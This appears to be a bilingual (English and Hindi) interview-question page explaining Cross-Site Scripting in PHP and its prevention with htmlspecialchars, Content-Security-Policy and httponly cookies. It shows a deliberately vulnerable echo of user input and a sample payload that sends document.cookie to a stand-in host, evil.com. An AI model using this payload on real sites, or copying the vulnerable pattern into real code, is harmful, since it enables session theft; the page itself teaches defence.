Subjects

All subjects Django Java Python React Spring Boot JavaScript PHP
Sign Up Free
Question 1 of 10 · Security Best Practices
Interview question

What is Cross-Site Scripting (XSS) and how do you prevent it in PHP? Cross-Site Scripting (XSS) क्या है और PHP में इसे कैसे रोकें?

Answer

XSS occurs when an attacker injects malicious JavaScript into pages viewed by other users, often via unescaped user input rendered in HTML.

Vulnerable:
echo 'Welcome, ' . $_GET['name'];
Input: <script>document.location='http://evil.com/steal?c='+document.cookie</script>

Safe:
echo 'Welcome, ' . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
PracticeWhy it helps
htmlspecialchars() on outputConverts special chars so browsers render, not execute, them
Content-Security-Policy headerBlocks inline/unauthorized scripts even if one slips through
httponly cookiesPrevents JS from reading session cookies

XSS तब होता है जब attacker malicious JavaScript inject करता है जो unescaped user input के ज़रिए दूसरे users को दिखती है।

असुरक्षित:
echo 'Welcome, ' . $_GET['name'];

सुरक्षित:
echo 'Welcome, ' . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

Was this answer clear?